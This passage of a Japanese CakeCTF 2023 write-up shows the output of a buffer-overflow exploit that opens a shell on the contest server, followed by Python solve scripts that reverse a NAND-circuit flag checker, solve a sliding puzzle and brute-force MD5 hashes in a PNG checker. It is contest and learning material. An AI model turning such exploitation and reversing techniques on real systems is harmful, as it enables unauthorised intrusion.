$ python3 solve.py [*] '/home/miso/CakeCTF2023/bofww/bofww' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to bofww.2023.cakectf.com on port 9002: Done [*] Switching to interactive mode $ cat /flag* CakeCTF{n0w_try_w1th0ut_w1n_func710n:)}
[rev] nande
シンプルなフラグチェッカーnand.exe
とデバッグ情報nand.pdb
が与えられます。
$ ./nand.exe CakeCTF{hogehoge} Wrong...
IDAでデコンパイルしてmain関数を見ていきます。入力されたフラグが32文字であるかを確認し、1bitずつに分解してInputSequenceに代入しています。CIRCUIT関数にInputSequenceを渡して得られたOutputSequenceがAnserSequenceと一致していれば正しいフラグであることがわかります。
t __cdecl main(int argc, const char **argv, const char **envp) { unsigned __int8 is_correct; // [rsp+20h] [rbp-38h] unsigned __int64 j; // [rsp+28h] [rbp-30h] unsigned __int64 i; // [rsp+30h] [rbp-28h] unsigned __int64 k; // [rsp+38h] [rbp-20h] char *flag; // [rsp+40h] [rbp-18h] if ( argc >= 2 ) { flag = (char *)argv[1]; if ( strlen(flag) != 32 ) goto $wrong; for ( i = 0i64; i < 0x20; ++i ) { for ( j = 0i64; j < 8; ++j ) InputSequence[8 * i + j] = (flag[i] >> j) & 1; } CIRCUIT(InputSequence, OutputSequence); is_correct = 1; for ( k = 0i64; k < 0x100; ++k ) is_correct &= OutputSequence[k] == AnswerSequence[k]; if ( is_correct ) { puts(string); return 0; } else { $wrong: puts(aWrong); return 1; } } else { printf("Usage: %s <flag>\n", *argv); return 1; } }
CIRCUIT関数ではMODULE関数を利用して第一引数のバイト列を更新を行います。MODULE関数は第一引数と第二引数でxorをとり、第三引数に代入する関数です。
void __fastcall CIRCUIT(unsigned __int8 *in, unsigned __int8 *out) { unsigned __int64 i; // [rsp+20h] [rbp-28h] unsigned __int64 rnd; // [rsp+28h] [rbp-20h] for ( rnd = 0i64; rnd < 0x1234; ++rnd ) { for ( i = 0i64; i < 0xFF; ++i ) MODULE(in[i], in[i + 1], &out[i]); MODULE(in[i], 1u, &out[i]); memmove(in, out, 0x100ui64); } }
以上のことから、AnswerSequenceにCIRCUIT関数の逆の処理を行えばよいことがわかります。
import copy def MODULE(a, b): t1 = ~(a & b) t2 = ~(a & t1) t3 = ~(b & t1) return ~(t2 & t3) def CIRCUIT(x): y = [0 for _ in range(len(x))] for _ in range(0x1234): i = 0 while i < 0xff: y[i] = x[i] ^ x[i+1] i += 1 y[i] ^= 1 x = y return y AnswerSequence = [1,1,1,1,1,0,0,1,1,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,1,1,1,1,0,0,1,1,1,1,0,1,0,1,1,1,0,0,0,1,1,0,1,1,1,1,0,1,0,1,0,0,1,0,1,0,1,1,0,1,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,1,0,1,1,1,0,0,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,0,0,1,0,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,1,1,1,1,1,1,1,0,1,0,1,0,0,1,1,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,0,1,1,0,1,1,0,1,0,1,0,1,0,0,1,1,1,1,1,0,1,1,0,1,1,1,0,0,1,0,1,1,0,1,1,0,0,1,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0] def solve(): in_arr = [0 for _ in range(0x100)] out = copy.copy(AnswerSequence) for _ in range(0x1234): in_arr[0xff] = out[0xff] ^ 1 for i in range(0xff-1, -1, -1): in_arr[i] = in_arr[i+1] ^ out[i] out = copy.copy(in_arr) flag = [0 for _ in range(0x20)] for i in range(0x20): for j in range(8): flag[i] |= in_arr[i*8 + j] << j print("".join(chr(x) for x in flag)) def enc(s): if len(s) != 32: raise ValueError ret = [0 for _ in range(0x100)] for i, c in enumerate(s): for j in range(8): ret[i*8+j] = (ord(c) >> j) & 1 return ret solve()
$ python3 solve.py CakeCTF{h2fsCHAo3xOsBZefcWudTa4}
[rev] Cake Puzzle
以下のルールのパズルで遊べるプログラムchal
が与えられます。
- 全てのマスが以下の条件を満たすとき、フラグが表示される
- あるマスに書かれた値は右隣と下のマスの値より小さい
- 値が0となっているマスは、上下左右のマスと入れ替えられる
各マスの初期値は次の通りです。
+----------+----------+----------+----------+ |0x445856DB|0x4C230304|0x0022449F|0x671A96B7| +----------+----------+----------+----------+ |0x6C5644F7|0x7FF46287|0x6EE9C829|0x5CDA2E72| +----------+----------+----------+----------+ |0x00000000|0x698E88C9|0x33E65A4F|0x50CC5C54| +----------+----------+----------+----------+ |0x1349831A|0x53C88F74|0x25858AB9|0x72F976D8| +----------+----------+----------+----------+
15パズルと非常に似ているので15パズルのsolverを使えば解けそうです。GitHubで適当にsolverを探すと、次のレポジトリが見つかりました。
このsolverを今回の問題を解けるように一部変更して実行すると、正解の操作が得られました。
# solve_puzzle.py from puzzle import Puzzle from algorithms import AStar, BreadthFirst from solver import PuzzleSolver p = Puzzle([[5,6,1,10],[12,15,13,9],[0,11,4,7],[2,8,3,14]]) puzzle_solver = PuzzleSolver(AStar(p)) puzzle_solver.run() puzzle_solver.print_performance() puzzle_solver.print_solution()
$ python3 solve_puzzle.py A* - Expanded Nodes: 10081 Solution: UURRDLLURRRDLDLDLURURULLDRDRUULLDRURDLLURRRDDLLUULDRDDLUURDLDRUULURRDLULDRDLUURDRULLDDRRDRULLULURDDLURULDDRURRDLURULDDRULLULDRURDLLURDRULLDRURRDLLLURRDRULLDDDRRULDLUUUL
# solve.py from pwn import * ans = "UURRDLLURRRDLDLDLURURULLDRDRUULLDRURDLLURRRDDLLUULDRDDLUURDLDRUULURRDLULDRDLUURDRULLDDRRDRULLULURDDLURULDDRURRDLURULDDRULLULDRURDLLURDRULLDRURRDLLLURRDRULLDDDRRULDLUUUL" #p=process("./chal") p = remote("others.2023.cakectf.com", 14001) for c in ans: p.sendlineafter(b'> ', c.encode()) p.interactive()
$ python3 solve.py [+] Opening connection to others.2023.cakectf.com on port 14001: Done [*] Switching to interactive mode CakeCTF{wh0_at3_a_missing_pi3c3_0f_a_cak3}
[rev] imgchk
文字列の代わりにpngファイルを用いたフラグチェッカーimgchk
が与えられます。
フラグのチェックはcheck_flag関数で行っているようですが、「ジャンプ先のアドレスをスタックに積んでretn
で飛ぶ」という処理を行っているため、うまくデコンパイルできていません。
__int64 check_flag() { return Cake16(); } __int64 __fastcall Cake16() { __int64 v0; // rbp *(_QWORD *)(v0 - 88) = fopen(*(const char **)(v0 - 136), "rb"); if ( *(_QWORD *)(v0 - 88) ) JUMPOUT(0x4429LL); return Cake338(); }
アセンブリコードを読んで手動デコンパイルすると、以下のコードとほぼ同等の処理を実行していることが分かります。
#include <png.h> void check_flag() { FILE *fp; png_structp png; png_infop info; png_byte ctype; png_byte bdepth; png_size_t rowbytes; int width, height; void **imgbuf; int ng; unsigned char buf[3]; unsigned char hashbuf[0x10]; if ((fp = fopen(filename, "rb")) == NULL) { return 1; } if ((png = png_create_read_struct("1.6.37", 0, 0, 0)) == NULL) { return 1; } if ((info = png_create_info_struct(png)) == NULL) { return 1; } png_init_io(png, fp); png_read_info(png, info); width = png_get_image_width(png, info); height = png_get_image_height(png, info); if (width != 0x1e0 || height != 0x14) { return 1; } ctype = png_get_color_type(png, info); bdepth = png_get_bit_depth(png, info); // gray scale only if (ctype != PNG_COLOR_TYPE_GRAY || bdepth != 1) { return 1; } if ((buf = calloc(height, 8)) == NULL) { return 1; } for (int i = 0; i < height; i++) { rowbytes = png_get_rowbytes(png, info); imgbuf[i] = malloc(rowbytes); } png_read_image(png, imgbuf); ng = 0; for (int x = 0; i < width; i++) { memset(buf, 0, 3); for (int y = 0; j < height; j++) { // extract bit (x, y) tmp1 = imgbuf[j][(i+7) >> 3] tmp2 = tmp1 >> (7 - (x & 7)); tmp3 = tmp2 & 1; buf[y >> 3] |= (tmp3 << (y & 7)) } MD5(buf, 3, hashbuf); if (memcmp(hashbuf, answer[x], 0x10) != 0) { ng |= 1; } } return ng; }
answer
には、各列に対応するMD5ハッシュへのポインタが格納されています。
MD5ハッシュの値から上のコード中のbuf
を求め、それに対応するビット列を並べることで目的の画像を得られそうです。
import hashlib import itertools from digests import hexdigests from PIL import Image, ImageDraw im = Image.new('1', (0x1e0, 0x14)) draw = ImageDraw.Draw(im) def solve_col(inv_md5): for p in itertools.product(range(2), repeat=20): buf = [0, 0, 0] x = 0 for y in range(0x14): tmp3 = p[y] buf[y>>3] |= (tmp3 << (y & 7)) if buf == inv_md5: return p def reverse_md5(target): for i in range(256): for j in range(256): for k in range(16): x = bytes([i, j, k]) if hashlib.md5(x).hexdigest() == target: return [i, j, k] hash_dict = {} for x, digest in enumerate(hexdigests): if digest not in hash_dict: rows = solve_col(reverse_md5(digest)) hash_dict[digest] = tuple(rows) print(f"[+] reverse md5: {digest} = {hash_dict[digest]}") rows = hash_dict[digest] for y in range(0x14): im.putpixel((x, y), rows[y]) im.save("flag.png")
$ python3 solve.py [+] reverse md5: 915a750f321d9fc59fa91f57c43c9bca = (1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1) [+] reverse md5: 0ff3f41dc6107e06d2800e3d51e48284 = (1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1) ... [+] reverse md5: af6e98ed4fb1042577ede6933ddd23cd = (1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1) [+] reverse md5: f52cac173903d10f0ebaadc02f9795ac = (1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1)
実行が完了するとflag.png
が生成されます。